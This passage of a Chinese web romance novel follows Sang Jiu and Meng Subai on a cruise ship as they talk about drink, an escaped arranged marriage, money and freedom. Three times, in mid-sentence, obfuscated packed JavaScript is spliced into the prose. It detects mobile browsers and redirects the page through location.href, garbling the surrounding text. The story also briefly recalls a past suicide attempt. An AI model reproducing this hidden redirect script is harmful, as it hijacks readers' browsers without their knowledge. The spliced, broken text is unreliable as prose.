两人又碰了杯酒,有一搭没一搭聊了起来。 “Romy哪里人?” “中国人。” “多大了?” “昨天刚满二十。” “……在哪读书?” “当牛马很多年了。” “这么小就工作了?” “嗯,工龄六年。” 贺煜诧异,她看起来也就十八九岁的年纪,工龄竟然比他留学龄长? 桑酒想了想,笑:“想着……能少走十年弯路。” “……啊哈哈!”贺煜也被逗笑了,可对上桑酒的目光,又觉得这姑娘明显是在一本正经自嘲,便赶紧收起傻笑,安慰她,“也是,什么时候工作不是工作,反正都是给人当牛马!” 就好比他,出国留学又怎样,还不是要回来给家族当牛做马,头衔吹得再天花乱坠,也是一只高级牛马而已! 这样一想,贺煜不禁佩服起孟苏白来。 海阔天空,世界之大。 独他有逃离家族的勇气和底气。 “Kings,你也来一口啊!”贺煜终于想起被晾在一边的好兄弟来。 沉默许久的孟苏白,抬眸扫了两人一眼,最后目光落在不省人事的那个老外身上,果断摇头。 然后抬手叫来服务员,要了一杯水。 “切!”贺煜翻了个白眼,转头对桑酒说,“你别理他,这人最没意思了!” 桑酒也觉得。 因为他虽然答应坐下来喝两杯,但自始至终都没有碰一口。 这已经是连续两次拒绝她的邀请了! 贺煜晃了晃手,指了指孟苏白:“Romy, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742564|189713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问你个问题。” 桑酒点头。 “你知道,喝酒和喝水的区别吗?” 桑酒摇头。 “不知道了吧,”贺煜煞有介事说,“这酒啊,越喝越暖,水……越喝越寒。” 桑酒觉得,甚有道理。 “呵,难怪生理期,那个混蛋只会让我多喝水!” “谁?” “男朋友啊。” “啊……你有男朋友啊?”贺煜当场愣住了。 “前男友了,”桑酒提起那人就一脸不悦的样子,“植物人一个!” “额……”贺煜手里的酒杯当场掉落,懵了两秒,抬头去看孟苏白。 兄弟,这剧情走向,有点出人意外啊! 孟苏白一如既往没搭理他,低头继续看杂志,仿佛没听到两人瞎扯淡。 “没事,分了就分了,咱不伤心。”贺煜试图安慰她,“天下好男人多的是。” 桑酒抱着酒杯:“我不伤心。” 她只是心疼自己的钱。 “对,不伤心,咱这一路就吃好喝好玩好!什么前男友不前男友,统统忘掉!” “嗯!统统忘掉!”桑酒重重与他碰了一杯。 贺煜趁势掏出手机,打开微信二维码:“那加个好友呗,有事尽管找哥!我跟你说,我这微信刚注册没多久,你将成为我第108位好友……” 桑酒目光呆了两秒,盯着递到眼前的手机,脑子飞速运转。 “你要泡我?” “啥!?” 桑酒这一言惊四座,贺煜更是吓的魂飞魄散,猛地摇头说,“当然不是。” 上天明鉴!他可没那个熊胆! “哦,那就好。”桑酒确认他的确没有这个意思,才了然点了点头。 和Chirs不一样,这位富家公子明显是平常撩妹撩习惯了,举止虽不算太过轻浮,也没正经到哪里去,言语间目的性太强,行云流水,风流倜傥,一整个花花公子做派。 但好像,并没有什么恶意。 更何况,如果跟他是朋友的话,人品应该也没什么大问题。 “那……扫一扫呗。”为了兄弟,贺煜两肋插刀,豁出去了。 桑酒撑着下巴,一脸无辜:“抱歉啊,我手机没电了。” “怎么可能……” 贺煜明显不信。 下一秒,桑酒直接拿起扣在桌上的手机,递到他眼前按了下屏幕,果然毫无反应。 “没骗你吧。” 贺煜挠了挠脑袋,说:“等着,哥给你找充电宝。” 大有一副今天不加上联系方式不罢休的气势。 一旁的孟苏白终于看不下去了,瞥了他一眼:“坐下。” 语气十分高冷。 贺煜不明所以,但还是乖乖坐下,又有点不服气。 “干嘛?” 这画面,莫名让桑酒想起从前看过的一部动漫,女主每次生气抱胸喊一句“坐下”,男人就乖乖像狗一样,扑通坐下。 哦——那个男人本身就是狗。 想到这里,她不禁“噗嗤”一声笑出声。 孟苏白偏头,朝她望来。 一而再,再而三被人抓包,饶是内心再强大,桑酒也心虚到无法与他对视。 她撑额半靠在桌上,闭眼说道:“头有点晕。” 这话半真半假,今天这瓶酒惨了白酒,她喝了一大半,开始上头了。 孟苏白目光落在少女那张巴掌大的脸上。 红霞覆雪,犹如晨起日照下的赤金云海,晕染开来。 “醉了?” 桑酒摇头,脑袋却缓缓垂下。 她确实有些醉了。 但说出来也许会令人啼笑皆非。 她此刻,多半是犯困。 一大早起来看日出,又听了一节中英文混合的地理课,搭配酒精度数超高的红白酒,催眠效果杠杠滴。 很好,又发现了一个治疗失眠的野方子! 或许是对身边男人的信任,桑酒还真的一秒入睡。 “Romy?”贺煜凑过去,试探性地喊了两句,果然没有反应。 他撑着最后一丝清醒,对孟苏白抬了抬下巴:“兄弟我帮你到这份上了,剩下的就靠你自己了哈!” 查户口的都没他仔细。 孟苏白皱眉:“别拿你泡妞那套对她。” 贺煜顿时被气清醒了三分:“我这是帮你,Romy人不错,你不处处?” “处什么?”孟苏白又睨了他一眼,“你明知道,我们终点不一样,怎么处?” “也就是说,如果你们终点一样,就能处呗?”贺煜第一次感觉得自己脑子转得挺快。 孟苏白拿他没辙,对他无语冷哼了一声,开始挽衣袖。 “喂!你要动手啊?”贺煜看他动作,下意识抱肩,问,“Kingsley,你的涵养呢?你的风度呢?” 孟苏白沉静地说:“被狗吃了。” 贺煜:“……” 怎么平白无故有种被骂了的错觉? 他委屈地说:“我这不是看你,难得对一个女孩这么上心,操心操心么。” “你哪只眼睛看出来的?” “两只!” “那就两只都挖了,丢海里喂鲨鱼。” “孟苏白,你嘴里抹了毒吗?”贺煜被气得直接喊他全名,干脆豁出去了,“如果你不上心,为什么要带她上来?还让她吃好喝好睡好,你直接让我给她重新安排一个单间不就好了?怎么就忍受得了跟我挤小铁床,你的洁癖呢?” “不是你说房满了吗?”孟苏白再次无语。 “那你带她上来就行了,为啥还要管她吃喝住行?整艘邮轮十张不到的黑卡,说送就送!”贺煜有的是理由,哼了一声,“我看你就是心疼!” 孟苏白轻笑了一声,懒得跟他掰扯:“如今我都自身难保,你觉得,我还有闲情逸致去谈一场没有未来的恋爱?” “别那么认真好吗?成年男女,旅行途中的你情我愿,”贺煜再次一针见血:“而且跟了你,她不吃亏。” 不是跟前男友分手了么,正好治疗情伤。 他可是孟苏白,要颜值有颜值,要身材有身材,港岛多少富家千金心中的梦中情人! “抱歉,我对露水情缘不感兴趣。” 孟苏白说完起身,准备离开。 走了两步后停住,又突然折身回来。 “干嘛?”贺煜身子下意识绷紧,以为他没放弃要揍自己的打算。 却见孟苏白弯腰,一把抱起已经熟睡的桑酒,顺手拿上她压在手臂下的便利贴笔记和VIP房卡,转身,再次大步离开。 全程没有瞥他一眼。 这波操作,属实让贺煜摸不着头脑。 “你什么意思啊?” 你倒是把人放下呀!嘴上说着不感兴趣,身体诚实的很呢! “没什么,只是怕有人,酒后乱性。” 孟苏白轻飘飘扔下一句,淡然离开。 贺煜愣了两秒后,顿时明白过来什么他话里话外的意思,当即气得狗急跳墙,不顾形象跳起来拍了拍桌。 “你当老子什么人?老子虽然花心,但对兄弟女人,绝不会有一丝歹念!” 然而,孟苏白早已抱着人离开酒馆。 贺煜张牙舞爪了半天,恨不能追上去打一顿。 “Kingsley!你就嘴硬吧!” 5. 第 5 章 “啊啊啊!好喜欢这个公主抱!” “果然恋爱还是要看别人谈,太浪漫了!” “呜呜~哥哥穿冲锋衣真的好帅,这身高这颜值!这是我大清早能看的吗?” “小姐姐身材也贼好,这大长腿!好想拍张照片做壁纸!” …… 天色明亮,出来游玩的人逐渐多了起来,孟苏白抱着桑酒穿梭其中,逆流而行,小姑娘醉醺醺躺在他怀里,只露出一双修长笔挺的细腿,包裹在宽松的黑色西裤下。 原本只是想好心送她回房间,却不想惹来这么多目光,孟苏白也是没有考虑到。 但好在怀里的人睡得沉,即便周身嘈杂,也只是在他胸前拱了拱,往深处一钻,不再乱动,如同寻了一处港湾。 孟苏白顿时呼吸有些不稳。 加快了脚步。 待好不容易回到那间原本属于他的客房,他将人安顿好,脱了鞋,盖上被褥,调好空调温度,又倒了一杯温水放在床头柜,顺手捡起地上刚掉下的便利贴本。 小姑娘的字很好看,浑然天成自有一派,密密麻麻记着的,竟都是一些红酒知识。 孟苏白挑眉,原来她刚才低头哗哗记的,是这些内容? 他将便利贴放到床头柜显眼位置,转身欲离去。 阳台门未关,海风呼呼啸起,白色窗帘轻姿漫舞。 孟苏白走过去,正打算关闭,无意瞥见阳台上琉璃瓶中,裹着露水的玫瑰正在枝头绽放。 蓝色生日卡片挂在枝头,如海浪翻涌,浮光粼粼。 他顺手取下一看。 卡片背后,是她许下的生日愿望。 何以自愈,唯有暴富!——泱泱 泱泱? 这名字,倒是一点都不符合她张扬活泼的性格。 犹记得昨日在Winebar,女孩临危不乱、无惧生人的倔强,分明是一朵带刺的玫瑰。 将卡片物归原位后,他站在阳台倚着栏杆吹了下海风,欣赏着原本可以随时入眼的海上风景。 贺煜倒是大方,给他留了这么好视野的房型,若不是常年在海上冲浪,这蔚蓝风景还真让人有些留恋。 但也挺危险的。 玻璃栏杆的高度只到他腰上面一点点,低头往下看,是波澜大海。 思索片刻,孟苏白打算让管家过来守着,然而转身往门口走去时,却猛然听到床头传来一声抽噎声。 他脚步一顿,目光落向床上。 抽噎声沉重断续,像是刻意压制着,最后却怎么也压制不住委屈,隆起的被褥微微颤抖着,看不到她脑袋。 孟苏白一时不知,该走还是该留。 他不是故意要偷听小姑娘的心事,只是担心开门声会打断她正发泄的情绪。 最终选择倚墙,屏气。 如同昨晚,在朦胧昏暗的酒馆,眼看她一杯又一杯将自己灌醉,哭得稀里哗啦。 须臾,哭声渐止。 像海浪平息,浪花偶尔拍打海岸,几分优哉。 孟苏白很诧异,这场风浪,竟如此短暂就恢复平静。 诧异的同时,轻薄的丝绸被褥被掀开。 他抬眸望去,恰好撞入那双湿漉的眼眸里! “啊——” 桑酒被惊得连连后退,后脑勺嘭的一声撞上床头,直接叫出了声。 也不知道是痛的,还是惊吓的。 孟苏白想上前,但碍于这是卧室,男女有别,又止步。 桑酒隔着泪雾看清房间里的人是谁后,一脸震惊外加不可置信。 “你……你没走?” 她浑身止不住发冷,连声音都有一丝颤抖,不知道是大哭过的后遗症,还是被人瞧见了脆弱的羞愧感。 “抱歉,看了一会儿风景,” 孟苏白也没想到,这一看,会撞见她躲被窝哭鼻子。 小姑娘身上的白衬衫,已经皱得不成样,两眼通红噙着泪水,像只迷路的小白兔,跟昨日被人惹毛后冷若冰霜、霸气泼酒的模样,简直判若两人。 看起来十分可怜。 想哄。 “想吃巧克力么?”他双手插着裤兜,柔声问。 桑酒虽然半醒半醉着,但还是听懂了他的意思,顿觉得难为情:“……不用。” 孟苏白默了两秒,点头,又问:“什么时候醒的?” 桑酒捂着脸撒谎:“刚醒。” 她不敢承认,是他抱着她走过长长的甲板时,他身上淡雅好闻的松雪气息让她猛然清醒过的,然后又听到一些乱七八糟的流言蜚语,当时只觉得难为情,不敢睁眼,甚至不敢呼吸,生怕被他发现,尬上加尬。 可后来又不自觉沉沦在他的怀抱中。 原来公主抱,是这样的感觉。 和恐高症类似,失重感从心脏蔓延到喉咙,整个人轻飘飘的仿佛置于云端,风从耳边呼啸而过。然而不一样的是,男人的体温透过衣物传过来,像夏日缓慢涨潮的海水,一点点渗透肌肤,一寸寸吞噬骨骼,紧接着一阵隐秘而羞涩的战栗从指尖钻入,直捣心脏最深处,掀起一股按捺不住的躁动,却又莫名安心沉溺其中。 桑酒一路口干舌燥。 这种事情应该是非常亲密的人才会做。 可从小到大,除了舅舅,从没有男人这样抱过自己,李佑泽那二两骨架背九十斤的她都要停下揉腰喘两口气。 她没想到,会在一个陌生男人那里获得一种特别的安全感。 现在更是丢尽脸,还在他面前哭鼻子。 桑酒一贯觉得,哭是懦弱的行为。 可她是真的以为,他已经走了,才会忽然悲从中来,压抑了许久的委屈和难过,借着酒劲宣泄一番。 气氛尴尬到连空气都忘了流动。 “谢谢您送我回来,”桑酒不敢睁眼看他,微微摆手,“我没事了,您……您先回吧。” “没醉?” “一点点……”她比了个手势,表示就指甲盖那么丁点儿。 孟苏白不置可否,从裤兜掏出手机。 又一阵沉寂,一如刚才她以为,他已经离开了的气氛。 这人气息沉稳得可怕! 桑酒又悄悄透过指缝,去偷看屋内的光景,却冷不丁撞进他突然抬眸望过来的目光。 视线对视的那一刻,桑酒就觉得自己完了。 在她二十年的人生里,还从来没有遇见过这样英俊帅气的男人! 她呆呆望着他,没有发觉心跳加速异常。 只道那是酒精上头在作祟,看任何人都深情,更何况是一个长得帅身材又好的男人,就这样站在她的卧室,虽然之前是他的,但难免会让人想入非非。 “有什么,是我能帮上忙的?” 他收起手机,目光诚挚,像极了昨晚问她是否要跟他走的语气。 桑酒打消脑海里乱七八糟的想法,只是莫名忍不住一阵鼻酸,头摇得像拨浪鼓。 “不用,您帮不上。” 没有人能拯救她,除了她自己。 “也许呢,”孟苏白挑眉,“Carson说得没错,你确实帮了我一个大忙。” “不就是一顿酒钱吗?也没多少钱,小事一桩!”桑酒摆手,语气斩钉截铁,“比起您请我的邮轮旅行,不值一提。” 孟苏白却摇头:“不仅仅如此。” “什么?”桑酒也被勾起了好奇心。 “自由,”孟苏白看了她两眼,一本正经说:“谢谢你,帮我重获自由。” 桑酒却一脸茫然:“自由?能有多重要?” 在她的认知看来,现代人还有什么自由不自由的吗? 大家都是牛马,朝九晚五算好的了,像她这种超级牛马,不舍昼夜只为业绩,自由是什么不重要,有钱还债,有钱养家,有钱享受生活就很好,像李佑泽那样不务正业,每天自由来自由去的生活,她也不觉得有多可贵。 再说,如今的她,倒是自由到两袋空空、无去无从,却着实惶恐。 “当然很重要,”面前的男人,语气却很认真跟她解释,“当你自由时,任何你想做的事情,都会变得有意义。” “是吗?”桑酒依旧不信她能帮他改变什么,她连自己的命运都改不了。 “嗯,”孟苏白语气从容,“否则,我怎会把唯一的房间让给你。” “那应该,是很重要吧,”桑酒思绪有些迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742565|189713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钝,“Carson说,他昨晚没睡好,房间小,床也小,没你半个身子长不说,还硬,他说你晚上是挂窗户上睡的,半夜把他魂都吓没了……” 她想把房间还给他,怎么会有人,为了一个不认识的人,放弃舒适的环境去挤工作舱。 孟苏白笑了一声:“他骗你的。” “是吗?”桑酒不信,又借着醉意,问出了心里话,“你为什么要帮我呢?我们明明素不相识,不是吗?” 孟苏白也沉思了两秒,说出了一个理由:“大概是因为,你为了一个素不相识的人,放弃了想要的玫瑰。” 也许比起一间房,一束玫瑰微不足道。 可他知道,那一刻,她很需要那束玫瑰。 桑酒被他认真的语气说得有些心虚,有些结巴:“也……也不全是因为你。” 就冲那小女孩当时眼巴巴的眼神,但凡她口袋里再多几块钱,她也会买一束。 “正因为是无心之举,才更可贵。” 桑酒彻底哑然。 面对他的深情赞美,她毫无抵抗能力。 “不说这事了,”眼见她害羞得想钻地缝的模样,孟苏白眉尾几不可见地勾了勾,决定不再打趣她,“我让管家给你送醒酒汤,喝一点?” 他示意桑酒跟他去阳台,此刻海面阳光正好,躲在被窝里哭着实浪费。 男人个子很高,推开落地窗,得低头弯腰才不会撞上门楣。 桑酒不敢迟疑,半清醒过来的她也觉得,孤男寡女在床边谈话确实不妥,抄起床尾的西装外套披上,收拾了一番爬下床,趿拉着拖鞋跟了过去。 - 阳台风大,不一会儿就吹乱了发,加之没有暖气有些寒凉,桑酒拢紧西装外套,随意扎了个丸子头,与孟苏白对坐在茶几旁的秋千吊椅上。 吊椅悬空,反而不适合正襟危坐,她下意识盘腿而坐,随即想起什么,动作一顿,抬头看了一眼对面的孟苏白。 他虽是一身低调休闲的黑色冲锋衣,但举手投足间透着优雅。 对比下来,她的行为实在算不上雅观,也不太礼貌。 毕竟,两人算不上熟。 她刚哭完,湿漉的眼眸如同这澈蓝的海面,清润明艳。 男人像是看透了她的局促,只轻点头微笑:“你随意就好。” 桑酒愣了两秒,像是醉在他温柔的笑容里。 也是这两秒的怔愣,借着日光仔细一瞧,她才发现,男人眉间有一颗不深不浅的痣,平时可能被一缕碎发遮挡住,风吹起才若隐若现,性感中又意外增添了一丝神性。 让人不敢亵渎。 藤椅摇摇晃晃,浪声哗哗啦啦。 桑酒盘腿而坐,闭上眼仿佛要睡。 好在管家倒是效率很快,很快送来了醒酒汤、热粥和茶水。 还有一盒巧克力。 跟昨晚酒馆的小众牌子不一样,这是一个全球都很知名的大牌子巧克力。 小小一颗就够一杯酒钱。 桑酒曾在某个直播间蹲过,但舍不得下单。 现在,却是满满一大盒摆在她面前,什么口味形状都有。 剥了一颗放进嘴里,入口即化,甘甜醇厚的味道,比想象中还要丝滑细腻,好吃到爆。 好吃的东西总想分享给身边人,桑酒迫不及待拿起一颗递给他。 “尝尝?” 孟苏白摇头:“不用” “这个很好吃的,甜而不腻。”桑酒还是想跟他一起分享。 孟苏白挑了下眉,依旧婉拒。 “好吧,”好像男人都不爱甜食,桑酒也不再强人所难,说,“谢谢你的巧克力。” “客气。” “这么多……一个人独吞,不会变胖吧?” 桑酒拍了拍自己的脸颊,小声吐槽自己一胖就胖脸,真是杀人诛心,根本不敢多吃。 她没注意到自己嘴角沾了些许巧克力碎,孟苏白盯着看了两眼,强迫症仿佛突然发作。 好想擦掉。 但理智告诉他,这不是绅士所为。 默了两秒,才转移目光,给她盛了一碗粥。 “空腹还是少喝酒,容易肚子疼。” 6. 第 6 章 “哦~” 桑酒有些心虚,大清早就和人去酒吧喝酒,确实有些不妥。 但她十几岁出来工作就离不开酒,已经早早就学会了喝酒。 又或许是从小被她阿爷喂出来的,她酒量好得惊人,不说千杯不醉,十杯不倒不在话下,也不枉阿爷给她取名酒字。 只可惜他老人家走得早,没有看到她现在的海量。 但没有看到那些不肖子不做人遗臭万年,也是一种福气吧。 “对了,还不知道该如何称呼您?”桑酒捧着温热的瓷碗,不想去回忆那些腌臜事,转移思绪,挑开话题,“我听您朋友喊您King……但我不太习惯喊人英文名。” 邮轮上形形色色的人都有,也许是邮轮公司隶属于港城的原因,不少人说的都是粤语,还喜欢用英文名交流,就连早上酒吧的服务员都叫Jack,但她还挺好奇,他为什么要叫国王,是因为家里有皇位要继承吗? “King?” “嗯?”桑酒下意识问,“不是国王吗?” 对面空气凝滞了两秒。 她抬眸,一脸疑惑地直视他的双眼,发现他正在笑。 浪花翻涌的瞬间,桑酒觉得自己的心脏也跳跃得厉害。 该死!这个男人笑起来,竟然这样好看! 孟苏白像是看出了她眼里的疑惑,倒了一点茶水在杯盖上,然后食指蘸水,在茶几上写下名字,温和解释。 “Kingsley。” 桑酒咬了咬唇,就差找一条地缝钻进去。 毕业这么多年,能记住King是国王已经很不容易了。 她尴尬地笑笑:“抱歉……” 好想真的醉了算了。 “没关系,”孟苏白倒是神色如常,只唇角微微翘起,“你也可以叫我的中文名,苏白。” 桑酒思考了两秒,鉴于自己那极不正宗的发音,笑说:“苏先生,感谢您这两日的照顾!” 直接喊全名不太礼貌,他身上非富即贵的气质,总让人不自觉想起几个字——不可亵渎。 孟苏白偏头看她,淡然点头。 在港城,提起孟姓,除了他孟家再无其余,所以在国外留学这些年,除了英文名,他偶尔也会用苏白这个名字,不说姓氏,只因不想涉及孟家。 而苏是他母亲的姓氏,也不算骗人。 礼尚往来,桑酒也自我介绍:“我姓桑,名……” 她迟疑了两秒。 刚刚男人还嘱咐她少喝酒。 但她名字就一个酒字,还是妈妈生她的时候,爷爷喝酒喝醉随意取的名。 听起来有些好笑,就如同她的人生一样,可笑至极。 “泱泱?” 在她怔愣的间隙,男人忽然问。 桑酒抬眸,一脸惊讶:“……您怎么知道?” 泱泱是她的小名,很久没有听到人喊这个名字了,桑酒一时竟有些不习惯,总感觉这个名字是上辈子的事情。 孟苏白下巴轻抬,目光越过她肩,落在她身后的蓝色卡片上,不言而喻。 桑酒顿时明白过来,笑了笑,没多做解释。 泱泱就泱泱吧,就当是一个全新的自己,面对全新的旅途。 孟苏白看起来倒是很感兴趣:“为什么是泱泱?” “唔……”桑酒回忆,“小时候,我身体不好,我舅舅请人算出我五星缺土和水,有财也不能聚,所以特地帮我挑了个泱字。” 桑酒不知道那位神算子是算出她有多缺水,一个酒字不够,还要两个泱字来凑。 “可好像,并没有什么用。”桑酒自嘲。 她依旧守不住财。 “所谓名字,不过是长辈对晚辈寄予的期望,”孟苏白笑容温和,“其实,Kingsley也是家里长辈给我取的,希望我能像森林一样沉稳,但我更喜欢挑战刺激的生活,显然也没有遂他们的愿。” “所以,您所谓的自由……是要离家出走?”桑酒恍然大悟,甚至还有一点点志同道合的感觉。 因为她曾经也干过这样的事! 孟苏白挑眉:“大概,比离家出走还要严重。” “……是什么?”桑酒顿时来了精神,像是在期待故事下文的宝宝。 “逃婚。” “逃婚?”桑酒顿时惊得像只土拨鼠,“您这样的,也要逃婚?” 孟苏白反问:“我怎样的?” “就……”桑酒一时语塞,上下将他打量了一番,内心那句‘天上有地上无的人间绝色’差点脱口而出,咽了咽口水,她摇头,“反正,苏先生这样的,不至于吧?” 不应该是一大把的女人,任凭他挑选么? 仿佛怕她又有奇奇怪怪的联想,孟苏白适时给出了解释:“家里长辈给安排的联姻,未曾谋面,我也不喜欢被安排的婚姻,不逃的话,毁的就是两个人,甚至两个家庭。” 就好比他的父母,曾经海誓山盟纵然坚不可摧,但不爱就是不爱,落得一个貌合神离的夫妻名义,反而成了行尸走肉的枷锁,插满倒刺的催命符,最终不过一死一解脱的下场。 桑酒见他眉眼间神色落寞,难掩悲哀,不禁想起三年前自己也干过同样轰轰烈烈的事。 但她的逃婚之路,可没有他这样浪漫。 桑酒目光下意识瞥了一眼手腕处,已经渐渐消弭的疤痕,至今想起那个场景,都会觉得血液骤冷凝固、呼吸窒息起来。 “这样说,我的确帮您大忙了!”她不想回想过往,抬起头,笑着打趣他。 “不再是小事一桩了?”孟苏白反问。 “当然不是,原本还觉得住着您的房间,我受之有愧,现在我可心安理得了!” 她可太懂包办婚姻的可怕了! “既如此,我也心安。” 许是男人态度太过温和有礼,桑酒只觉得与他相处十分愉快,疏离之心也没了,捧着粥碗一口一口喝着,腮帮子鼓鼓:“只要没乱了苏先生你的姻缘,就好。” 外婆曾对她说,人的姻缘是不能乱的,一旦心中有了某种坚定的想法,那就坚持这种想法,朝前走。 所以当身边同龄人十八九岁就结婚生子,而她快二十了跟李佑泽还毫无进展时,母亲开始有意无意催婚,外婆反而看得很开,总帮她打掩护。 也许,从一开始,外婆就看透了她内心最真实的想法。 孟苏白不紧不慢抬眸望向她,语气笃定。 “不会乱。” “那就好!”桑酒松了口气。 酒足饭饱后,她放下碗勺,又剥了一颗巧克力,清新的热带水果气味在口中蔓延,心情果然无比舒畅。 她拿起背后的蓝色海豚公仔抱在怀里,眺望遥远的海面,不禁向往。 一望无际,看不到尽头,也看不到来时路。 “抛下所有包袱,追寻自由的感觉,一定很好吧。” 不像她,为了自由,差点没了命。 “这一刻,当然是。”孟苏白并没有否认,毕竟为了这一刻,他准备了很多年,“但也不代表,此后就一帆风顺了。” 天涯海角,老爷子都会找到他。 他也从未想过仅靠这一次,就打消老爷子要他联姻的念头,只是想强烈表达一下自己的反抗而已。 没有孟家,不是孟家的继承人,他也有自己的追求和梦想。 “对啊,一次成功,不代表以后就一帆风顺,”桑酒深有同感,同时又因为这句话点燃了新的希望之火,“一次跌倒,也不代表以后就真完了,真正的懦弱,是不去解决问题。” 孟苏白显然明白她的意思,含笑夸奖:“桑小姐很通透。” 桑酒也忍不住跟着笑:“不通透不行啊,连苏先生这样尊贵的人物都有婚姻问题,对比起来,我那些烦恼好像算不得什么。” 最起码,如今的她,婚姻可以自由做主。 和什么样的人,在一起,一辈子,才是最重要的。 当然,如果这个人不行,那就下一个。 但若是下一个也不行,下下一个还不行,那就干脆一个人过! 她才不会为了找一个人做伴,又为了劳什子子孙后代,找个不合拍的人共度余生! “那桑小姐的烦恼是什么?”孟苏白忽然问她。 “还不够明显吗?”桑酒抬手,指向身后头顶的愿望卡,“当然是一夜暴富!变成有钱人!” 孟苏白顺着她指尖望去,笑着摇头:“这大概是,所有人的烦恼。” “也是您的烦恼吗?”桑酒好奇,他这样出手阔绰、气质不凡的人,不像是会为金钱所困。 “也许吧。”孟苏白坦然回道。 即便出身豪门,即便这一辈子、下一辈子、下下辈子都不愁吃穿,可身在孟家这样的豪门,谁又不想争取多一点,再多一点,哪怕是牺牲婚姻,就像对大多数普通人来说,当下的愿望是有一个一百万就好了,可当他们踏进一百万的门槛,又会觉得,一千万才能满足,一千万之后,又是一个亿、十亿、百亿…… “当愿望变成欲望,什么快乐都满足不了。” “那可真糟糕!”桑酒自我嘲讽一声,眼眸低垂,盯着脚下的瞬息万变的海面叹气,“我还以为,变成有钱人,就有能力保护家人,给她们最好的生活……” 如果有钱人也有烦恼,那她梦想变成有钱人,看起来就像个笑话。 “是啊,这个世界糟糕透了。” 孟苏白冷不丁幽幽附了一句。 桑酒愣住。 这话太过耳熟。 几年前,在她脑海里浮现过无数次——这个世界糟糕透了! 然后在那个寒冷的雪夜,在那间豪华的酒店,在她从未躺过的席梦思大床上,白色床单洒满了玫瑰花瓣,而她手腕的鲜血流了一地,触目惊心,早已分不清血和花瓣。 画面一起,条件反射般,她的手腕开始隐隐作痛。 桑酒皱起眉,偏头去看他。 无论如何,这种话不应该从他嘴里说出来。 这样干净似雪、温润如风的少年,怎么也和抑郁挂不上钩。 可他低眉落寞的模样,又那样真实,眼底灰色的沉痛与悲伤,和眼前碧海蓝天的世界,完全割裂成两种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟苏白又轻笑了一声。 桑酒顿时想起什么,心虚地转头看向海的另一边,小声嘀咕:“我只是不小心,在您面前失态了一……” 她犹豫了两下,又加了一根手指竖起了。 “两次而已。” 孟苏白哦了一声,尾声刻意拖长打趣她:“所以,昨天想跟人打架……是第一次?” 想起昨晚第一次见面,又哭又笑,又能骂人的小姑娘,鲜活得令人大开眼界,他挺好奇,如果不是他出手,她会不会真跟人干起来。 那架势,真要打起来,那黄毛小子好像也镇不住。 桑酒瞬间窘迫到脸颊灼烧! 有种啪啪被打脸的感觉。 谁家好人上一秒义正词严说自己情绪稳定自尊心强,下一秒就被人挖出叫板黄毛衰仔的黑历史。 “我平常……不这样的。” 昨天她是真被惹毛了,按照她小时候的性子,还真就跟人干起来。 孟苏白轻笑了一声。 “如此,是我的荣幸了。” “没关系,苏先生,”桑酒安慰自己,“反正下了船,咱俩谁也不认识谁。” “嗯。”孟苏白抿了一口茶。 “您放心……”桑酒想说,反正她也看到了他的脆弱点,谁也别笑谁,然而一抬头对上他含笑的眼眸,她的话戛然而止。 什么忧郁王子落寞少爷!原来都是哄人的! “苏先生,这玩笑一点都不好笑!”她故作生气扭过头,腮帮子鼓鼓的。 “抱歉,”孟苏白却丝毫没有被戳破的尴尬,语气还是一如既往沉稳,面朝大海一脸坦然,“但我说的不是玩笑,离家出走也是真,觉得这世间无趣也是真……此时此刻觉得开心,也是真。” 桑酒忍不住回头看他。 少年长腿交叠抵着地面,眉眼清冷注视着远方,风拂起他额前垂掩的碎发,恰逢一群海豚跃出海面,追赶着邮轮,他眸色半眯尾随,唇角的笑意更为舒坦,那张冷酷的侧脸此刻也被晨曦浸染,深邃而温柔。 原来他才不是什么厌世之人。 桑酒不禁想,如果不是她,这间房本该属于他,这个阳台属于他,这张VIP卡也属于他,这六天五夜的浪漫和美景都属于他。 她早该明白,即便没有她的出现,他肯定也能顺利离开港城。 她不过是运气好,刚好出现在他面前而已。 “您不用跟我道歉,无论如何,我还是要谢谢您。”桑酒托着腮帮子,和他一起追逐那群海豚。 “谢什么?”他漫不经心投来视线。 “谢谢您送我生日蛋糕、玫瑰花,还有巧克力,也谢谢您陪我在这里吹海风,听我说酒话,我现在,好像也没有那么难过了。” 说完桑酒心头突然划过莫名而突兀的念头,他连安慰人的方式都这样温柔细心。 如一缕旷野清风,从太平洋的另一端吹来。 7. 第 7 章 原来,旅行真的可以治愈伤痛。 与人痛痛快快聊了一番,桑酒感觉自己的负能量被消化了不少。 好景,美酒,男人。 此刻都在身边。 也算不枉此行了。 孟苏白见她心结解开了,像是松了一口气,又问她:“那你想好,回去怎么解决困境了?” 他是真的想帮她。 逃避并不是解决问题的方法,他不希望下了邮轮之后,她还继续陷在困境之中,好像这次邮轮之旅,只是一场虚假的美梦。 然而眼前的姑娘,她骨子里那股韧性,好像每次都会超出他的想象。 